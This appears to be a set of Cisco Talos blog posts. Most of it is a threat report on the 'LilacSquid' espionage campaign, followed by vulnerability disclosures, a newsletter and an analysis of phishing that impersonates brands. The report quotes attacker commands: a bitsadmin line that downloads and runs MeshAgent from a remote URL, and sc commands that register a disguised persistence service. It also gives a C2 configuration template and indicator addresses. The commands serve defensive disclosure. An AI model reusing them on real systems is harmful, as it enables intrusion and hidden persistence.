Multiple TTPs utilized in this campaign bear some overlap with North Korean APT groups.

Thursday, May 30, 2024 08:01

_By Anna Bennett, Nicole Hoffman, Asheer Malhotra, Sean Taylor and Brandon White._ 

*   Cisco Talos is disclosing a new suspected data theft campaign, active since at least 2021, we attribute to an advanced persistent threat actor (APT) we’re calling “LilacSquid.”  
*   LilacSquid’s victimology includes a diverse set of victims consisting of information technology organizations building software for the research and industrial sectors in the United States, organizations in the energy sector in Europe and the pharmaceutical sector in Asia indicating that the threat actor (TA) may be agnostic of industry verticals and trying to steal data from a variety of sources.  
*   This campaign uses MeshAgent, an open-source remote management tool, and a customized version of QuasarRAT we’re calling “PurpleInk” to serve as the primary implants after successfully compromising vulnerable application servers exposed to the internet.  
*   This campaign leverages vulnerabilities in public-facing application servers and compromised remote desktop protocol (RDP) credentials to orchestrate the deployment of a variety of open-source tools, such as MeshAgent and SSF, alongside customized malware, such as "PurpleInk," and two malware loaders we are calling "InkBox" and "InkLoader.”  
*   The campaign is geared toward establishing long-term access to compromised victim organizations to enable LilacSquid to siphon data of interest to attacker-controlled servers. 

**LilacSquid – An espionage-motivated threat actor **

Talos assesses with high confidence that this campaign has been active since at least 2021 and the successful compromise and post-compromise activities are geared toward establishing long-term access for data theft by an advanced persistent threat (APT) actor we are tracking as "LilacSquid" and UAT-4820. Talos has observed at least three successful compromises spanning entities in Asia, Europe and the United States consisting of industry verticals such as pharmaceuticals, oil and gas, and technology. 

Previous intrusions into software manufacturers, such as the 3CX and X\_Trader compromises by Lazarus, indicate that unauthorized long-term access to organizations that manufacture and distribute popular software for enterprise and industrial organizations can open avenues of supply chain compromise proving advantageous to threat actors such as LilacSquid, allowing them to widen their net of targets.  

We have observed two different types of initial access techniques deployed by LilacSquid, including exploiting vulnerabilities and the use of compromised remote desktop protocol (RDP) credentials. Post-exploitation activity in this campaign consists of the deployment of MeshAgent, an open-source remote management and desktop session application, and a heavily customized version of QuasarRAT that we track as “PurpleInk” allowing LilacSquid to gain complete control over the infected systems. Additional means of persistence used by LilacSquid include the use of open-source tools such as Secure Socket Funneling (SSF), which is a tool for proxying and tunneling multiple sockets through a single secure TLS tunnel to a remote computer. 

It is worth noting that multiple tactics, techniques, tools and procedures (TTPs) utilized in this campaign bear some overlap with North Korean APT groups, such as Andariel and its parent umbrella group, Lazarus. Public reporting has noted Andariel’s use of MeshAgent as a tool for maintaining post-compromise access after successful exploitation. Furthermore, Talos has observed Lazarus extensively use SOCKs proxy and tunneling tools, along with custom-made malware as part of their post-compromise playbooks to act as channels of secondary access and exfiltration. This tactic has also been seen in this campaign operated by LilacSquid where the threat actor deployed SSF along with other malware to create tunnels to their remote servers. 

**LilacSquid’s infection chains **

There are primarily two types of infection chains that LilacSquid uses in this campaign. The first involves the successful exploitation of a vulnerable web application, while the other is the use of compromised RDP credentials. Successful compromise of a system leads to LilacSquid deploying multiple vehicles of access onto compromised hosts, including dual-use tools such as MeshAgent, Secure Socket Funneling (SSF), InkLoader and PurpleInk. 

Successful exploitation of the vulnerable application results in the attackers deploying a script that will set up working directories for the malware and then download and execute MeshAgent from a remote server. On execution, MeshAgent will connect to its C2, carry out preliminary reconnaissance and begin downloading and activating other implants on the system, such as SSF and PurpleInk. 

MeshAgent is typically downloaded by the attackers using the bitsadmin utility and then executed to establish contact with the C2: 

bitsadmin /transfer -job\_name- /download /priority normal -remote\_URL- -local\_path\_for\_MeshAgent-  -local\_path\_for\_MeshAgent- connect 

**Instrumenting InkLoader – Modularizing the infection chain **

When compromised RDP credentials were used to gain access, the infection chain was altered slightly. LilacSquid chose to either deploy MeshAgent and subsequent implants, or introduce another component in the infection preceding PurpleInk.  

InkLoader is a simple, yet effective DOT NET-based malware loader. It is written to run a hardcoded executable or command. In this infection chain, InkLoader is the component that persists across reboots on the infected host instead of the actual malware it runs. So far, we have only seen PurpleInk being executed via InkLoader, but LilacSquid may likely use InkLoader to deploy additional malware implants. 

Talos observed LilacSquid deploy InkLoader in conjunction with PurpleInk only when they could successfully create and maintain remote sessions via remote desktop (RDP) by exploiting the use of stolen credentials to the target host. A successful login via RDP leads to the download of InkLoader and PurpleInk, copying these artifacts into desired directories on disk and the subsequent registration of InkLoader as a service that is then started to deploy InkLoader and, in turn, PurpleInk. The infection chain can be visualized as: 

Service creation and execution on the endpoint is typically done via the command line interface using the commands: 

sc create TransactExDetect displayname=Extended Transaction Detection binPath= \_filepath\_of\_InkLoader\_ start= auto 
sc description TransactExDetect Extended Transaction Detection for Active Directory domain hosts 
sc start TransactExDetect 

**PurpleInk – LilacSquid's bespoke implant **

PurpleInk, LilacSquid’s primary implant of choice, has been adapted from QuasarRAT, a popular remote access trojan family. Although QuasarRAT has been available to threat actors since at least 2014, we observed PurpleInk being actively developed starting in 2021 and continuing to evolve its functionalities separate from its parent malware family.  

PurpleInk uses an accompanying configuration file to obtain information such as the C2 server’s address and port. This file is typically base64-decoded and decrypted to obtain the configuration strings required by PurpleInk. 

PurpleInk is a highly versatile implant that is heavily obfuscated and contains a variety of RAT capabilities. Talos has observed multiple variants of PurpleInk where functionalities have both been introduced and removed. 

In terms of RAT capabilities, PurpleInk can perform the following actions on the infected host: 

*   Enumerate the process and send the process ID, name and associated Window Title to the C2. 
*   Terminate a process ID (PID) specified by the C2 on the infected host. 
*   Run a new application on the host – start process. 
*   Get drive information for the infected host, such as volume labels, root directory names, drive type and drive format. 
*   Enumerate a given directory to obtain underlying directory names, file names and file sizes. 
*   Read a file specified by the C2 and exfiltrate its contents. 
*   Replace or append content to a specified file. 

*   Gather system information about the infected host using WMI queries. Information includes:  

Information retrieved 

WMI query and output used 

Processor name 

SELECT \* FROM Win32\_Processor 

Memory (RAM) size in MB 

Select \* From Win32\_ComputerSystem | TotalPhysicalMemory 

Video Card (GPU) 

SELECT \* FROM Win32\_DisplayConfiguration | Description 

Username 

Current username 

Computer name 

Infected host’s name 

Domain name 

Domain of the infected host 

Host name 

NetBIOS Host name 

System drive 

Root system drive 

System directory 

System directory of the infected host 

Computer uptime 

Calculate uptime from current time and SELECT \* FROM Win32\_OperatingSystem WHERE Primary='true' | LastBootUpTime 

MAC address 

By enumerating Network interfaces on the endpoint 

LAN IP address 

By enumerating Network interfaces on the endpoint 

WAN IP address 

None – not retrieved or calculated – empty string sent to C2. 

Antivirus software name 

Not calculated – defaults to “NoInfo” 

Firewall 

Not calculated – defaults to “NoInfo” 

Time zone 

Not calculated – an empty string is sent to the C2. 

Country 

Not calculated – an empty string is sent to the C2. 

ISP 

Not calculated – an empty string is sent to the C2. 

*   Start a remote shell on the infected host using ‘ cmd\[.\]exe /K ’. 
*   Rename or move directories and files and then enumerate them. 
*   Delete files and directories specified by the C2. 
*   Connect to a specified remote address, specified by the C2. This remote address referenced as “Friend” internally is the reverse proxy host indicating that PurpleInk can act as an intermediate proxy tool. 

PurpleInk has the following capabilities related to communicating with its “friends” (proxy servers): 

*   Connect to a _new_ friend whose remote address is specified by the C2. 
*   Send data to a new or existing friend. 
*   Disconnect from a specified friend. 
*   Receive data from another connected friend and process it. 

Another PurpleInk variant, built and deployed in 2023 and 2024, consists of limited functionalities, with much of its capabilities stripped out. The capabilities that still reside in this variant are the abilities to: 

*   Close all connections to proxy servers. 
*   Create a reverse shell.  
*   Connect and send/receive data from connected proxies. 

Functionalities, such as file management, execution and gathering system information, have been stripped out of this variant of PurpleInk, but can be supplemented by the reverse shell carried over from previous variants, which can be used to carry out these tasks on the infected endpoint. Adversaries frequently strip, add and stitch together functionalities to reduce their implant’s footprint on the infected system to avoid detection or to improve their implementations to remove redundant capabilities.  

**InkBox – Custom loader observed in older attacks **

InkBox is a malware loader that will read from a hardcoded file path on disk and decrypt its contents. The decrypted content is another executable assembly that is then run by invoking its Entry Point within the InkBox process. This second assembly is the backdoor PurpleInk. The overall infection chain in this case is: 

The usage of InkBox to deploy PurpleInk is an older technique used by LilacSquid since 2021. Since 2023, the threat actor has produced another variant of the infection chain where they have modularized the infection chain so that PurpleInk can now run as a separate process. However, even in this new infection chain, PurpleInk is still run via another component that we call "InkLoader.”  

**LilacSquid employs MeshAgent **

In this campaign, LilacSquid has extensively used MeshAgent as the first stage of their post-compromise activity. MeshAgent is the agent/client from the MeshCentral, an open-source remote device management software. The MeshAgent binaries typically use a configuration file, known as an MSH file. The MSH files in this campaign contain information such as MeshName (victim identifier in this case) and C2 addresses: 

MeshName=-Name\_of\_mesh- 
MeshType=-Type\_of\_mesh- 
MeshID=0x-Mesh\_ID\_hex- 
ServerID=-Server\_ID\_hex- 
MeshServer=wss://-Mesh\_C2\_Address-
Translation=-keywords\_translation\_JSON-

Being a remote device management utility, MeshAgent allows an operator to control almost all aspects of the device via the MeshCentral server, providing capabilities such as: 

*   List all devices in the Mesh (list of victims). 
*   View and control desktop. 
*   Manage files on the system. 
*   View software and hardware information about the device.  

Post-exploitation, MeshAgent activates other dual-use and malicious tools on the infected systems, such as SSF and PurpleInk.  

**Coverage **

Ways our customers can detect and block this threat are listed below. 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.   

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.  

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.  

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.  

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.  

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.  

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.  

Additional protection with context to your specific environment and threat data are available from the Firewall Management Center.  

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

**IOCs**

IOCs for this research can also be found at our GitHub repository here. 

**PurpleInk **

2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8 

**Network IOCs **

67\[.\]213\[.\]221\[.\]6 

192\[.\]145\[.\]127\[.\]190 

45\[.\]9\[.\]251\[.\]14 

199\[.\]229\[.\]250\[.\]142

LilacSquid: The stealthy trilogy of PurpleInk, InkBox and InkLoader

Generative AI applies to any site “whose primary purpose is to use artificial intelligence models to generate output in the form of text, audio, video or images based on user-supplied prompts.”

Wednesday, May 29, 2024 12:32

Cisco Talos is preparing to release the first in a series of changes to our Web Categorization system, which is designed to simplify the verbiage we use. 

In mid-June, we're adding a new “Generative AI” category that will apply to certain websites. The “Content Category” appears whenever a user searches for a domain on the TalosIntelligence.com Reputation Center.  

Generative AI applies to any site “whose primary purpose is to use artificial intelligence models to generate output in the form of text, audio, video or images based on user-supplied prompts.” This does not include “technologies which tangentially use generative AI as part of their service.” 

We are also renaming “DOT & DOH” to “Encrypted DNS” to better reflect what this category includes.  

Prior to these updates, we recommend revisiting your acceptable use and security policies to see if these changes may affect your current operations. 

As we evolve to better understand data, threats, and user behavior, we will continue to improve our intelligence, providing you the ability to make more informed decisions to keep your network safe without becoming prohibitive to your users. Please stay tuned for additional planned changes to our Content Categories in the coming weeks and months. 

For detailed information on the current Content and Threat Categories, please visit the Intelligence and Threat Categories page. 

The Generative AI category will be available in a future release of Meraki, Secure Access and Umbrella.

New Generative AI category added to Talos reputation services

Acrobat, one of the most popular PDF readers currently available, contains two out-of-bounds read vulnerabilities that could lead to the exposure of sensitive contents of arbitrary memory in the application.

Wednesday, May 29, 2024 12:07

Cisco Talos’ Vulnerability Research team has helped to disclose and patch more than 20 vulnerabilities over the past three weeks, including two in the popular Adobe Acrobat Reader software.

Acrobat, one of the most popular PDF readers currently available, contains two out-of-bounds read vulnerabilities that could lead to the exposure of sensitive contents of arbitrary memory in the application.

There are also eight vulnerabilities in a popular line of PLC CPU modules commonly used in automated environments.

All the vulnerabilities mentioned in this blog post have been patched by their respective vendors, all in adherence to Cisco’s third-party vulnerability disclosure policy.

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.

**Out-of-bounds read vulnerabilities in Adobe Acrobat**

_Discovered by KPC._

Adobe Acrobat Reader contains two out-of-bounds read vulnerabilities in its Font feature that could lead to the disclosure of sensitive information.

TALOS-2024-1946 (CVE-2024-30311) and TALOS-2024-1952 (CVE-2024-30312) are triggered if the targeted user opens an attacker-created PDF that contains a specially embedded font.

An adversary could exploit these vulnerabilities to read arbitrary memory of the process that runs when Acrobat tries to process the font. It’s possible the adversary could even view sensitive components of arbitrary memory, which they could use in follow-on attacks or the exploitation of other vulnerabilities.

TALOS-2024-1952 is the same exploit as outlined in TALOS-2023-1905, a previously disclosed vulnerability, because Adobe’s initial patch did not properly protect against all possible attack vectors.

**Privilege escalation vulnerability in Foxit PDF Reader**

_Discovered by KPC._

Foxit PDF Reader contains a privilege escalation vulnerability that could allow an adversary to execute commands with SYSTEM-level privileges. Foxit PDF Reader is one of the most popular alternatives to Acrobat Reader available. It also supports the embedding of JavaScript, which is another possible attack vector for adversaries.

TALOS-2024-1989 (CVE-2024-29072) occurs because of improper certification of the updater executable before executing it. A low-privilege user can trigger the update action, which can result in the unexpected elevation of privilege to the SYSTEM level.

**Multiple vulnerabilities in popular image-processing library**

_Discovered by Carl Hurd and Philippe Laulheret._

Talos recently discovered multiple vulnerabilities in libigl, a C++ open-source library used to process geometric shapes and designs. It is commonly used in various industries, from video game development to 3-D printing.

Two out-of-bounds write vulnerabilities, TALOS-2023-1879 (CVE-2023-49600) and TALOS-2024-1930 (CVE-2024-22181), could lead to a heap buffer overflow. An attacker could exploit these vulnerabilities by tricking the targeted user into opening a specially crafted file.

TALOS-2024-1928 (CVE-2024-24584 and CVE-2024-24583) can be exploited in a similar manner, but in this case, leads to an out-of-bounds read.

Two other vulnerabilities, TALOS-2024-1929 (CVE-2024-24684, CVE-2024-24685 and CVE-2024-24686) and TALOS-2023-1784 (CVE-2023-35949, CVE-2023-35952, CVE-2023-35950, CVE-2023-35953, CVE-2023-35951), can cause heap-based buffer overflow issues if the adversary supplies a specially crafted .off file. .OFF files are commonly used to share 2-D and 3-D images.

Lastly, there is another out-of-bounds write vulnerability that is caused by an improper array index validation. TALOS-2024-1926 (CVE-2024-23951, CVE-2024-23950, CVE-2024-23949, CVE-2024-23947 and CVE-2024-23948) can be triggered by a specially crafted .msh file.

**Remote Code Execution vulnerabilities and more in AutomationDirect CPU**

_Discovered by Matt Wiseman._

Several vulnerabilities were identified in the AutomationDirect P3 line of CPU modules. The P3-550E is the most recent CPU module released in the Productivity3000 line of Programmable Automation Controllers from AutomationDirect. The device communicates remotely via ethernet, serial and USB and exposes a variety of control services, including MQTT, Modbus, ENIP and the engineering workstation protocol DirectNET.

Four of the vulnerabilities found in these PLC CPU modules received a CVSS security score of 9.8 out of 10, making them particularly notable.

TALOS-2024-1942 (CVE-2024-21785) is a leftover debug code vulnerability that allow an adversary who can communicate to the device over ModbusRTU to enable the device’s diagnostic interface without any other knowledge of the target device. There is also TALOS-2024-1943 (CVE-2024-23601) which can lead to remote code execution if the attacker sends a specially crafted file to the targeted device and TALOS-2024-1939 (CVE-2024-24963 and CVE-2024-24962) which are stack-based buffer overflows that can also lead to remote code execution if the attacker sends a specially formatted packet to the device.

TALOS-2024-1940 (CVE-2024-22187) and TALOS-2024-1941 (CVE-2024-23315) are both Write-What-Where vulnerabilities that may be triggered if an adversary sends a specially crafted packet to the targeted machine. An adversary who submits a series of properly formatted requests to exploit this vulnerability could modify arbitrary memory regions on the device, potentially resulting in arbitrary remote code execution.

A heap-based buffer vulnerability, TALOS-2024-1936 (CVE-2024-24851), also exists if an adversary sends a specially crafted packet to the targeted device. In this case, the adversary could cause the device to crash due to memory access violations.

Similarly, TALOS-2024-1937 (CVE-2024-24947 and CVE-2024-24946) can also crash the device by exploiting two different functions on the device which are vulnerable to heap-based buffer overflows.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) also released an advisory covering these vulnerabilities, as the P3 line is commonly used in U.S. critical infrastructure and ICS networks. CISA provided users with a list of possible mitigations for these vulnerabilities and other steps administrators can take to protect ICS environments. The agency also stated that organizations in the commercial facilities, critical manufacturing and information technology sectors could be affected.

Out-of-bounds reads in Adobe Acrobat; Foxit PDF Reader contains vulnerability that could lead to SYSTEM-level privileges

Plus, SS7 vulnerabilities are being exploited and BreachForums is taken down again.

Thursday, May 23, 2024 14:00

Since the advent of products like the Tile and Apple AirTag, both used to keep track of easily lost items like wallets, keys and purses, bad actors and criminals have found ways to abuse them. 

These adversaries can range from criminals just looking to do something illegal for a range of reasons, but maybe just looking to steal a physical object, to just a jealous or suspicious spouse or partner who wants to keep tags on their significant other. 

Apple and other manufacturers who make these devices have since taken several steps to curb the abuse of these devices and make them more secure. Most recently, Google and Apple announced new alerts that would hit Android and iOS devices and alert users that their devices’ location is being connected to any location-tracking device.  

“With this new capability, users will now get an ‘\[Item\] Found Moving With You’ alert on their device if an unknown Bluetooth tracking device is seen moving with them over time, regardless of the platform the device is paired with,” Apple stated in its announcement. 

Companies Motorola, Jio and Eufy also announced that they would be adhering to these new standards and should release compliant products soon.  

Certainly, products like the AirTag and Samsung trackers that these companies have direct control over will now be more secure, and hopefully less ripe for abuse by a bad actor, but it’s far from a total solution to the problem that these types of products pose. 

As I’ve pointed out in the past with security cameras and any other range of internet-connected devices, online stores are filled with these types of products, promising to track users’ personal items with an app so they don’t lose common household items like their phones, wallets and keys.  

Amazon has countless listings under “location tag” for a range of AirTag-like products made by unknown manufacturers. Some of these products are slim enough to fit right into the credit card pocket of a wallet or purse,  and others are smaller than the average AirTag and even advertise that they can remain hidden inside a car.  

I admittedly haven’t been able to dive into these individual devices, but some of them come with their own third-party apps, which come with their own set of security caveats and completely take it out of platform developers’ hands.  

There are also other “find my device”-type services that pose additional security concerns outside of just buying a small tag. Android’s new, enhanced “Find My Device” network is a crowdsourced solution to help users potentially find their lost devices, similar to iOS’ Find My network.  

The Find My Device network works by using other Android devices to silently relay the registered device’s approximate location, even if the device being searched for is offline or turned off. In the wrong hands, there are a range of ways that can be abused on its own.  

So, rather than relying on developers and manufacturers to make these services more secure, I have a few tips for how to use AirTag-like devices safely, if you really can’t come up with a better solution for not losing your keys. 

*   Check for suspicious tracking devices. On iOS, this means opening the “Find My” app and navigating to Items > Items Detected Near You. Any unfamiliar AirTags will be listed here. On Android, you can do the same thing by going to Settings > Safety & Emergency > Unknown Tracker Alerts > Scan Now. 
*   Remove yourself from any “Sharing Groups” unless it’s a trusted contact in your phone using the Find My app on iOS. 
*   If location tracking is your primary concern (especially for parents and their children) using the Find My app on iOS and Android is generally a more secure option than trusting a third-party app downloaded from the app store or relying on a Bluetooth connection.  
*   Manage individual apps’ settings to ensure only the services that \*really\* need to track your device’s physical location are using it. (Ex., you probably don’t need Facebook tracking that information.) 
*   Since AirTags are connected to your Apple ID, ensure that login is secured with multi-factor authentication (MFA) or using a passkey.  

**The one big thing **

Cisco recently developed and released a new feature to detect brand impersonation in emails when adversaries pretend to be a legitimate corporation. Threat actors employ a variety of techniques to embed brand logos within emails. One simple method involves inserting words associated with the brand into the HTML source of the email. New data from Talos found that popular brands like PayPal, Microsoft, NortonLifeLock and McAfee are among some of the most-impersonated brands in these types of phishing emails.  

**Why do I care? **

Brand impersonation could happen on many online platforms, including social media, websites, emails and mobile applications. This type of threat exploits the familiarity and legitimacy of popular brand logos to solicit sensitive information from victims. In the context of email security, brand impersonation is commonly observed in phishing emails. Threat actors want to deceive their victims into giving up their credentials or other sensitive information by abusing the popularity of well-known brands. 

**So now what? **

Well-known brands can protect themselves from this type of threat through asset protection as well. Domain names can be registered with various extensions to thwart threat actors attempting to use similar domains for malicious purposes. The other crucial step brands can take is to conceal their information from WHOIS records via privacy protection. And users who want to learn more about Cisco Secure Email Threat Defense's new brand impersonation detection tools can visit this site. 

**Top security headlines of the week **

**Adversaries have been quietly exploiting the backbone of cellular communications to track Americans’ location for years,** according to a U.S. Cybersecurity and Infrastructure Security Agency (CISA). The official broke ranks with their agency and reportedly shared this information with the Federal Communications Commission (FCC). The official said that attackers have used vulnerabilities in the SS7 protocol to steal location data, monitor voice and text messages, and deliver spyware. Other targets have received text messages containing fake news or disinformation. SS7 is the protocol used across the globe that routes text messages and calls to different devices but has often been a target for attackers. In the past, other vulnerabilities in SS7 have been used to gain access to telecommunications providers’ networks. In their written comments to the FCC, the official said that these vulnerabilities are the “tip of the proverbial iceberg” of SS7-related exploits used against U.S. citizens. (404 Media, The Economist) 

**The FBI once again seized the main site belonging to BreachForums,** a popular platform for buying and selling stolen personal information. Last year, international law enforcement agencies took down a previous version of the cybercrime site and arrested its administrator, but the new pages quickly emerged, using three different domains since the last disruption. American law enforcement agencies also took control of the forum’s official Telegram account, and a channel belonging to the newest BreachForums administrator, “Baphomet.” However, the FBI has yet to publicly state anything about the takedown or any potential arrests. BreachForums isn’t expected to be gone for long, as another admin named “ShinyHunters” claims the site will be back with a new Onion domain soon. ShinyHunters claims they’ve retried access to the seized clearnet domain for BreachForums, though they did not provide specific methods. BreachForums is infamous for being a site where attackers can buy and sell stolen data, offer their hacking services or share recent TTPs. (TechCruch, HackRead) 

**The U.S. Department of Justice charged three North Koreans with crimes related to impersonating others to obtain remote employment in the U.S., which in turn generated funding for North Korea’s military.** The three men, and another U.S. citizen, were charged with what the DOJ called “staggering fraud” in which they secured illicit work with several U.S. companies and government agencies using fraudulent identities from 60 real Americans. The U.S. citizen was allegedly placed laptops belonging to U.S. companies at various residences so the North Koreans could hide their true location. North Korean state-sponsored actors have used these types of tactics for years, often relying on social media networks like LinkedIn to fake their personal information and obtain jobs or steal sensitive information from companies. More than 300 companies may have been affected, with the perpetrators earning more than $6.8 million, most of which was used to “raise revenue for the North Korean government and its illicit nuclear program,” according to the DOJ. (ABC News, Bloomberg) 

**Can’t get enough Talos? **

*   Proactive Threat Hunting in Duo Data 
*   Talos Takes Ep. #184: Recapping RSA  
*   You have to look out for these hacks in 2024! 

**Upcoming events where you can find Talos **

**ISC2 SECURE Europe** **(May 29)** 

_Amsterdam, Netherlands_ 

> _Gergana Karadzhova-Dangela from Cisco Talos Incident Response will participate in a panel on “Using ECSF to Reduce the Cybersecurity Workforce and Skills Gap in the EU.” Karadzhova-Dangela participated in the creation of the EU cybersecurity framework, and will discuss how Cisco has used it for several of its internal initiatives as a way to recruit and hire new talent._  

**Cisco Live** **(June 2 - 6)** 

_Las Vegas, Nevada_ 

> _B_ill Largent from Talos' Strategic Communications team will be giving our annual "State of Cybersecurity" talk at Cisco Live on Tuesday, June 4 at 11 a.m. Pacific time. Jaeson Schultz from Talos Outreach will have a talk of his own on Thursday, June 6 at 8:30 a.m. Pacific, and there will be several Talos IR-specific lightning talks at the Cisco Secure booth throughout the conference.

**_AREA41_** **_(June 6 – 7)_** 

_Zurich, Switzerland_ 

> _Gergana Karadzhova-Dangela from Cisco Talos Incident Response will highlight the primordial importance of actionable incident response documentation for the overall response readiness of an organization. During this talk, she will share commonly observed mistakes when writing IR documentation and ways to avoid them. She will draw on her experiences as a responder who works with customers during proactive activities and actual cybersecurity breaches._ 

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 9be2103d3418d266de57143c2164b31c27dfa73c22e42137f3fe63a21f793202   
**MD5:** e4acf0e303e9f1371f029e013f902262   
**Typical Filename:** FileZilla\_3.67.0\_win64\_sponsored2-setup.exe   
**Claimed Product:** FileZilla   
**Detection Name:** W32.Application.27hg.1201 

**SHA 256:** a024a18e27707738adcd7b5a740c5a93534b4b8c9d3b947f6d85740af19d17d0   
**MD5:** b4440eea7367c3fb04a89225df4022a6   
**Typical Filename:** Pdfixers.exe   
**Claimed Product:** Pdfixers   
**Detection Name:** W32.Superfluss:PUPgenPUP.27gq.1201 

**SHA 256:** 1fa0222e5ae2b891fa9c2dad1f63a9b26901d825dc6d6b9dcc6258a985f4f9ab   
**MD5:** 4c648967aeac81b18b53a3cb357120f4   
**Typical Filename:** yypnexwqivdpvdeakbmmd.exe   
**Claimed Product:** N/A    
**Detection Name:** Win.Dropper.Scar::1201 

**SHA 256:** d529b406724e4db3defbaf15fcd216e66b9c999831e0b1f0c82899f7f8ef6ee1   
**MD5:** fb9e0617489f517dc47452e204572b4e   
**Typical Filename:** KMSAuto++.exe   
**Claimed Product:** KMSAuto++   
**Detection Name:** W32.File.MalParent 

**SHA 256:** abaa1b89dca9655410f61d64de25990972db95d28738fc93bb7a8a69b347a6a6   
**MD5:** 22ae85259273bc4ea419584293eda886   
**Typical Filename:** KMSAuto++ x64.exe   
**Claimed Product:** KMSAuto++   
**Detection Name:** W32.File.MalParent

Apple and Google are taking steps to curb the abuse of location-tracking devices — but what about others?

Cisco recently developed and released a new feature to detect brand impersonation in emails when adversaries pretend to be a legitimate corporation.

Wednesday, May 22, 2024 08:17

*   Cisco recently developed and released a new feature to detect brand impersonation in emails when adversaries pretend to be a legitimate corporation.
*   Talos has discovered a wide range of techniques threat actors use to embed and deliver brand logos via emails to their victims.
*   Talos is providing new statistics and insights into detected brand impersonation cases over one month (March - April 2024).
*   In addition to deploying Cisco Secure Email, user education is key to detecting this type of threat.

Brand impersonation could happen on many online platforms, including social media, websites, emails and mobile applications. This type of threat exploits the familiarity and legitimacy of popular brand logos to solicit sensitive information from victims. In the context of email security, brand impersonation is commonly observed in phishing emails. Threat actors want to deceive their victims into giving up their credentials or other sensitive information by abusing the popularity of well-known brands.

**Brand logo embedding and delivery techniques**

Threat actors employ a variety of techniques to embed brand logos within emails. One simple method involves inserting words associated with the brand into the HTML source of the email. In the example below, the PayPal logo can be found in plaintext in the HTML source of this email.

An example email impersonating the PayPal brand.

Creating the PayPal logo via HTML.

Sometimes, the email body is base64-encoded to make their detection harder. The base64-encoded snippet of an email body is shown below.

An example email impersonating the Microsoft brand.

A snippet of the base64-encoded body of the above email.

The decoded HTML code is shown in the figure below. In this case, the Microsoft logo has been built via an HTML 2x2 table with four cells and various background colors.

Creating the Microsoft logo via HTML.

A more advanced technique is to fetch the brand logo from remote servers at delivery time. In this technique, the URI of the resource is embedded in the HTML source of the email, either in plain text or Base64-encoded. The logo in the example below is fetched from the below address:  
hxxps://image\[.\]member.americanexpress\[.\]com/.../AMXIMG\_250x250\_amex\_logo.jpg

An example email impersonating the American Express brand.

The URI from which the American Express brand is being loaded.

Another technique threat actors use is to deliver the brand logo via attachments. One of the most common techniques is to only include the brand logo as an image attachment. In this case, the logo is normally base64-encoded to evade detection. Email clients automatically fetch and render these logos if they’re referenced from the HTML source of the email. In this example, the Microsoft logo is attached to this email as a PNG file and referenced in an <img> HTML tag.

An example email impersonating the Microsoft brand (the logo is attached to the email and is rendered and shown to the victim at delivery time via <img> HTML tag).

The Content-ID (CID) reference of the attached Microsoft brand logo is included inline in the HTML source of the above email.

In other cases, the whole email body, including the brand logo, is attached as an image to the email and is shown to the victim by the email client. The example below is a brand impersonation case where the whole body is included in the PNG attachment, named “shark.png”. Also, an “inline” keyword can be seen in the HTML source of this email. When Content-Disposition is set to "inline," it indicates that the attached content should be displayed within the body of the email itself, rather than being treated as a downloadable attachment.

An example email impersonating the Microsoft Office 365 brand (the whole email body, including the brand logo, is attached to the email as a PNG file).

The whole email body is in the attachment and is included in the above message.

A brand logo may also be embedded within a PDF attachment. In the example shown below, the whole email body is included in a PDF attachment. This email is a QR code phishing email that is also impersonating the Bluebeam brand.

An example email impersonating the Bluebeam brand (the whole email body, including the brand logo, is attached to the email as a PDF file).

The whole email body is included in a PDF attachment.

**The scope of brand impersonation**

An efficient brand impersonation detection engine plays a key role in an email security product. The extracted information from correctly convicted emails is valuable for threat researchers and customers. Using Cisco Secure Email Threat Defense’s brand impersonation detection engine, we uncovered the true scope of how widespread these attacks are. All data reflects the period between March 22 and April 22, 2024.

Threat researchers can use this information to block future attacks, potentially based on the sender’s email address and domain, the originating IP addresses of brand impersonation attacks, their attachments, the URLs found from such emails, and even phone numbers.

The chart below demonstrates the top sender domains of emails curated by attackers to convince the victims to call a number (i.e., as in Telephone-Oriented Attack Delivery) by impersonating the Best Buy Geek Squad, Norton and PayPal brands. Free email services are widely used by adversaries to send such emails. However, other domains can also be found that are less popular.

Top sender domains of emails impersonating Best Buy Geek Squad, Norton and PayPal brands.

Sometimes, similar brand impersonation emails are sent from a wide range of domains. For example, as shown in the below heatmap, emails impersonating the DocuSign brand were sent from two different domains to our customers on March 28. In other cases, emails are sent from a single domain (e.g., emails impersonating Geek Squad and McAfee brands).

Count of convictions by the impersonated brand and sender domain on March 28.(Note: This is only a subset of convictions we had on this date.)

Brand impersonation emails may target specific industry verticals, or they might be sent indiscriminately. As shown in the chart below, four brand impersonation emails from _hotmail.com_ and _softbased.top_ domains were sent to our customers that would be categorized as either educational or insurance companies. On the other hand, emails from _biglobe.ne.jp_ targeted a wider range of industry verticals.

Count of convictions by industry verticals from different sender domains on April 2nd (note: this is only a subset of convictions we had in this date).

Cisco customers can also benefit from information provided by the brand impersonation detection engine. By sharing the list of the most frequently impersonated brands with them regularly, they can train their employees to stay vigilant when they observe specific brands in emails.

Top 30 impersonated brands over one month.

Microsoft was the most frequently impersonated brand over the month we observed, followed by DocuSign. Most emails that contained these brands were fake SharePoint and DocuSign phishing messages. Two examples are provided below.

